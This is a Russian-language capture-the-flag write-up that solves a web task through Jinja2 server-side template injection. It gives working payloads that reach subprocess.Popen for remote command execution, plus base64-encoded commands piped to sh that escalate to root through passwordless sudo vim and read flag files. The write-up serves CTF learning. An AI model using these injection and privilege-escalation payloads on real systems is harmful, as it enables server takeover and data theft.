---
# System prepended metadata

title: '[web] On takeoff 1 & 2!'

---

# [web] On takeoff 1 & 2!

![Таск](https://i.imgur.com/LFHXSMD.png)

Итак, сразу к делу (╯°□°）╯︵ ┻━┻

## На взлет

Быстро отркываем landing.ctf.potee.ru (пока он не упал) и смотрим что тут есть.

![Сайт](https://i.imgur.com/3Z59gaC.png)

Тыкаем все что тыкается, понимаем кнопки ничего не делают и ~~закрываем~~
совершенно случайно обнаруживаем страницу с ошибкой 404.

![404](https://i.imgur.com/KQQtbzw.png)

Видим что значение из URL отражается на странице, вводим что-то типа `{{5 * 5}}`
На выходе получаем 25 о_0

![25](https://i.imgur.com/A2KgJ9O.png)

Значит тут [SSTI](https://portswigger.net/web-security/server-side-template-injection)

## Работаем по шаблону

По графику видим что тут скорее всего шаблонизатор Jinja2 (встречается чаще всего)

![График определения шаблонизатора](https://i.imgur.com/nZxe0qC.png)

Впишем в URL `{{config.items()}}`, в результате получим словарь с конфигурационными значениями flask.

![Конфиг](https://i.imgur.com/xOVvAOr.png)

> Если до вас никто не решал этот таск, то у вас будет меньше значений, так как еще никто не подключил библиотеку os

Подключаем библиотеку os с помощью `{{ config.from_object('os') }}*`

Далее пишем `{{ ''.__class__.__mro__}}`, это выведет список существующих классов.

![Классы](https://i.imgur.com/Q38CL6A.png)

Нам нужны подклассы класса `object`, пишем `{{''.__class__.__mro__[1].__subclasses__() }}`

![Подклассы](https://i.imgur.com/hhlYLZu.png)

Получаем список, в нем ищем что-то, что позволит исполнять команды
В данном случае это `subprocess.Popen`

Теперь нужно узнать какой у него номер в этом списке.

Для этого пишем `{{ .__class__.__mro__[1].__subclasses__()[266:] }}` и подбираем такое число, чтобы `subprocess.Popen` был в начале списка.

Получается `{{ ''.__class__.__mro__[1].__subclasses__()[394:] }}` **394** номер

![394](https://i.imgur.com/XM78Gw7.png)

## RCE

Теперь когда мы нашли нужны класс, попробуем выполнить команду на сервере

```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('whoami',shell=True,stdout=-1).communicate() }}
```

![rce](https://i.imgur.com/EHV5zPt.png)

Команда исполнилась! Теперь найдем и прочитаем флаг

```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('ls',shell=True,stdout=-1).communicate() }}
```

![ls](https://i.imgur.com/ZiPxUgm.png)

```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('cat user_flag.txt',shell=True,stdout=-1).communicate() }}
```

![user_flag](https://i.imgur.com/XLvVQmd.png)

Первый флаг мы получили! Но нам этого мало, нам нужно все.

# Повышаем привелегии

Проверяем какие программы нам доступны с правами рута без пароля

```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('sudo -l',shell=True,stdout=-1).communicate() }}
```

![VIM :D](https://i.imgur.com/HO2hqHR.png)

Видим что мы можем запускать `/usr/bin/vim` от имени рута без пароля.
Мы можем повысить свои привелегии с его помощью, так как он умеет выполнять системные команды.

Просто пишем в гугле что-то типа vim privesc и попадаем на известный сайт https://gtfobins.github.io/gtfobins/vim/

![gtfobins](https://i.imgur.com/zvQiTFS.png)

Первый вариант нам подойдет, но если мы попробуем его вставить в URL то получим ошибку, так как шаблонизатор не может обработать знаки.

Придется от них избавиться :D

Преобразуем строку `sudo /usr/bin/vim -c ':!ls /root/'` в base64 и пишем такую команду

```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('echo c3VkbyAvdXNyL2Jpbi92aW0gLWMgJzohbHMgL3Jvb3QvJw== | base64 -d | sh',shell=True,stdout=-1).communicate() }}
```

![504](https://i.imgur.com/wF6MD22.png)

Обнаруживаем что страница долго висит а потом падает в 504.
Это происходит из-за того что vim работает в интерактивном режиме, а браузер его не поддерживает.

В итоге нам нужно переделать команду так, что-бы vim выполнял команду и закрывался без перехода в интерактивный режим

Немного изучив документацию vim'а у меня получилась такая команда

```
sudo /usr/bin/vim --cmd ':!ls /root/' -ec 'qa!'
```

Конечный результат

```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('echo c3VkbyAvdXNyL2Jpbi92aW0gLS1jbWQgJzohbHMgL3Jvb3QvJyAtZWMgJ3FhISc= | base64 -d | sh',shell=True,stdout=-1).communicate() }}
```

![root](https://i.imgur.com/hKg3YMh.png)

~~Я получил власть которая и не снилась моему отцу~~
Все работает! Забираем флаг

```
sudo /usr/bin/vim --cmd ':!cat /root/root_flag.txt' -ec 'qa!'
```

```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('echo c3VkbyAvdXNyL2Jpbi92aW0gLS1jbWQgJzohY2F0IC9yb290L3Jvb3RfZmxhZy50eHQnIC1lYyAncWEhJw== | base64 -d | sh',shell=True,stdout=-1).communicate() }}
```

![root_flag](https://i.imgur.com/VGWxBAz.png)

---

:sunglasses: by [@nullzur](https://t.me/Nullzur)